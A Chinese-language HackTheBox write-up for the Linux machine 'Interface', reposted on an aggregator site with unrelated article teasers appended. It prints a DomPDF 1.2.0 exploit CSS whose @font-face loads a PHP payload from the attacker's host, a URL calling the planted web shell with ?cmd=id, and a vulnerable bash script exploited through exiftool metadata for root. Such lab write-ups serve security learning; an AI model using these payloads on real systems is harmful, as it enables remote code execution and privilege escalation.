HackTheBox - Medium - Linux - Interface

news2025/4/23 18:56:39

Interface

Interface 是一种中等难度的 Linux 机器,具有“DomPDF”API 端点,该端点通过将“CSS”注入处理后的数据而容易受到远程命令执行的影响。“DomPDF”可以被诱骗在其字体缓存中存储带有“PHP”文件扩展名的恶意字体,然后可以通过从其公开的目录访问它来执行它。权限提升涉及在 bash 脚本中滥用带引号的表达式注入。


外部信息收集

端口扫描

循例nmap

file

Web枚举

file

在响应头中,能看到它的域名

file

ffuf

file

/api端点

file

这里html转成了pdf

file

Foothold

在pdf中纰漏了dompdf 1.2.0

file

在谷歌中能够找到该版本存在问题,并且github上还有exp

https://github.com/positive-security/dompdf-rce

从exp的exploit.css也就不难看出大概是怎么回事了

@font-face {
    font-family:'exploitfont';
    src:url('http://10.10.14.18:9001/exploit_font.php');
    font-weight:'normal';
    font-style:'normal';
  }

file

改一下exploit_font.php

file

打exp,目标将会缓存我们的字体文件

file

获取字符串md5,用于缓存文件名的组成

file

9001还是用python3开http server才能正常

file

访问文件

http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_b82f3437a14b588f9bc8cdb2cd1baaf2.php?cmd=id

file

常规python3 reverse shell

file

本地权限提升

传个pspy过去发现有shell脚本在跑

file

#! /bin/bash
cache_directory="/tmp"
for cfile in "$cache_directory"/*; do

    if [[ -f "$cfile" ]]; then

        meta_producer=$(/usr/bin/exiftool -s -s -s -Producer "$cfile" 2>/dev/null | cut -d " " -f1)

        if [[ "$meta_producer" -eq "dompdf" ]]; then
            echo "Removing $cfile"
            rm "$cfile"
        fi

    fi

done

使用exiftool读取Producer信息,然后判断它是否等于dompdf

这篇文章告诉我们这个shell代码可能会导致插入恶意shell命令并且被执行

if [[ "$meta_producer" -eq "dompdf" ]];

首先写一个shellcode或者其他的命令文件

file

通过exiftool插入payload,然后将文件移动到/tmp

file

等待计划任务执行,我们将能得到它

file

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1345797.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

前端开发工具之HBuilder X

HBuilderX(简称HX)是一款由DCloud开发的集成开发环境(IDE),专为前端开发者设计。它不仅是一个编辑器,也可以看作是一个通用的IDE,类似于VSCode、Sublime和WebStorm。HBuilderX支持开发各种Web项…

论文阅读——EfficientViT(cvpr2023)

EfficientViT: Memory Efficient Vision Transformer with Cascaded Group Attention 1、 从三个角度探讨如何提高vision transformers的效率:内存访问、计算冗余和参数使用。 2.1. Memory Efficiency 红色字体表示操作所花费的时间主要由内存访问决定,…

RSA加密解密——用shell加密java解密

功能描述 使用shell opensll对明文进行RSA加密,将密文用java的RSA工具对密文解密。这应该是全网第一个同时用到shell和java的RSA加密解密教程。中间有很多坑,都踩过了,可以放心使用代码。 正确的实现流程 shell端 首先生成公钥私钥 &…

C/C++ 对象、继承和引用

ostream和ofstream类凸现了引用的一个有趣属性。正如ofstream 对象可以使用 ostream类的方法,这使得文件输入/输出的格式与控制台输入/输出相同。使得能够将特性从一个类传递给另一个类的语言特性被称为继承。 简单地说,ostream 是基类,而ofs…

<软考高项备考>《论文专题 - 37 采购管理(1) 》

1 成本管理基础 1.1 写作要点 过程定义、作用写作要点、思路规划采购管理规划采购管理是记录项目采购决策、明确采购方法,及识别潜在卖方的过程。作用:确定是否从项目外部获取货物和服务,如果是,则还要确定将在什么时间、以什么方式获取什么…

OSPF的DR与BDR-新版(16)

目录 整体拓扑 操作步骤 1.基本配置 1.1 配置R1的IP 1.2 配置R2的IP 1.3 配置R3的IP 1.4 配置R4的IP 1.5 检测R1与R4连通性 1.6 检测R1与R2连通性 1.7 检测R1与R3连通性 2.搭建基本的OSPF网络 2.1 配置R1 OSPF 2.2 配置R2 OSPF 2.3 配置R3 OSPF 2.4 配置R4 OSPF…

力扣刷题总结 栈与队列

🔥博客主页: A_SHOWY🎥系列专栏:力扣刷题总结录 数据结构 云计算 数字图像处理 力扣每日一题_ 一、栈和队列的基础知识 队列是先进先出,栈是先进后出。同时二者都是容器适配器而不是容器。 二、题目实战 232.用栈…

帆软报表如何灵活控制水印的显示

在帆软报表中如果要显示水印,如果要全部都要显示,只需要到决策系统--安装设置中打开水印开关。如果想要某个报表显示水印,可以在设计器的水印设置中为该报表设置水印。 但是如果碰到这种需求,比如某些人或者某些角色需要显示水印,其他人不显示。或者是预览报表需要显示水印…

conda环境下face_alignment.LandmarksType._2D AttributeError: _2D解决方法

1 问题描述 运行retalking模型时&#xff0c;代码抛出异常&#xff0c;信息如下所示&#xff1a; Traceback (most recent call last):File "D:/ml/video-retalking/inference.py", line 345, in <module>main()File "D:/ml/video-retalking/inference.…

C++初阶(类中的默认成员函数)

呀哈喽&#xff0c;我是结衣 今天给大家带来的是类里面的默认成员函数&#xff0c;一共有六个默认的成员函数哦&#xff0c;包括构造函数&#xff0c;析构函数&#xff0c;拷贝构造函数&#xff0c;运算符重载函数&#xff0c;const成员函数&#xff0c;那么正篇开始。 文章目…

【OpenCV】OpenCV 4.9.0 正式发布

​ 开源计算机视觉库 OpenCV 4.9.0 已于2023年12月29日正式发布。 此次发布有DNN模块对ONNX Attention、Einsum等层的支持、新的fastGEMM实现、transformers的实验性支持等诸多亮点。 OpenCV 4.9.0 更新内容&#xff1a; &#xff08;来自OpenCV中国团队以及中国社区的贡献…

解决Windows11安装Docker 一直starting 的办法

Starting the Docker Engine... Docker Engine is the underlying technology that runs containers 关闭docker 管理员身份执行wsl --update后在启动。 另外&#xff0c;docker desktop-unexpected wsl error问题跟标题问题好像是同一个问题&#xff0c;我的是一直让其star…

07-C++ 异常

异常 1. 概念 异常事件&#xff08;如&#xff1a;除 0 溢出&#xff0c;数组下标越界&#xff0c;所要读取的文件不存在,空指针&#xff0c;内存不足等等&#xff09; 在C 语言对错误的处理是两种方法&#xff1a; 一是使用整型的 返回值标识错误&#xff1a;二是使用 errno…

自创题目——贴对联

预估难度 简单 题目描述 小明家最近要挂对联&#xff0c;小明要知道对联怎么挂&#xff0c;以及对联合不合规。如果不合规&#xff0c;输出"扔了吧"&#xff0c;否则输出&#xff1a; 横批 ... ... 输入格式 共三行&#xff1b; 第一行&#xf…

MySQL入门教程-函数,索引

4MySQL函数 常用函数 -- 数学运算SELECT ABS(-8); -- 绝对值SELECT CEIL(5.1); -- 向上取整SELECT CEILING(5.1); -- 向上取整SELECT RAND(); -- 返回0~1之间的一个随机数SELECT SIGN(-10); -- 返回一个数的符号;0返回0;正数返回1;负数返回-1​-- 字符串函数SELECT CHAR_LENGT…

树低级(C语言版)

一.树基本计算规则 关于树的大部分知识点我们都讲过了&#xff0c;那么如果我给你树的节点&#xff0c;你可以算出叶子节点个数吗&#xff1f; 下面我们总结下一些计算规则&#xff1a; 1.父子计算规则&#xff1a; parent(child-1)/2; leftchildparent*21,rightchildpare…

swing快速入门(三十三)确认对话框

注释很详细&#xff0c;直接上代码 新增内容 1.确定对话框返回值对应值 2.为文本域增加滚动条 package swing31_40;import javax.swing.*; import java.awt.*; import java.awt.event.ActionEvent;public class swing_test_31 {// 创建一个JFrameJFrame jFrame new JFrame(…

《现代操作系统》第十二章习题答案

计算机硬件的改进主要归功于更小的晶体管。一些限制因素包括&#xff1a;(a) 光的波动性可能限制传统光刻技术制造集成电路的能力&#xff0c;(b) 固体中个别原子的迁移性可能导致非常薄的半导体、绝缘体和导体层的性能退化&#xff0c;(c) 背景辐射活性可能破坏分子键或影响非…

pytorch01:概念、张量操作、线性回归与逻辑回归

目录 一、pytorch介绍1.1pytorch简介1.2发展历史1.3pytorch优点 二、张量简介与创建2.1什么是张量&#xff1f;2.2Tensor与Variable2.3张量的创建2.3.1 直接创建torch.tensor()2.3.2 从numpy创建tensor 2.4根据数值创建2.4.1 torch.zeros()2.4.2 torch.zeros_like()2.4.3 torch…

回顾 2023,展望 2024

by zhengkai.blog.csdn.net 项目与心得 今年最大的项目和心得&#xff0c;非GCP莫属&#xff0c;作为全球顶尖的云平台&#xff0c; GCP有他的优势&#xff0c;也有很多难用的地方。但是作为当时的一个strategic solution&#xff0c;我们的印度本地化项目必须使用GCP&#xf…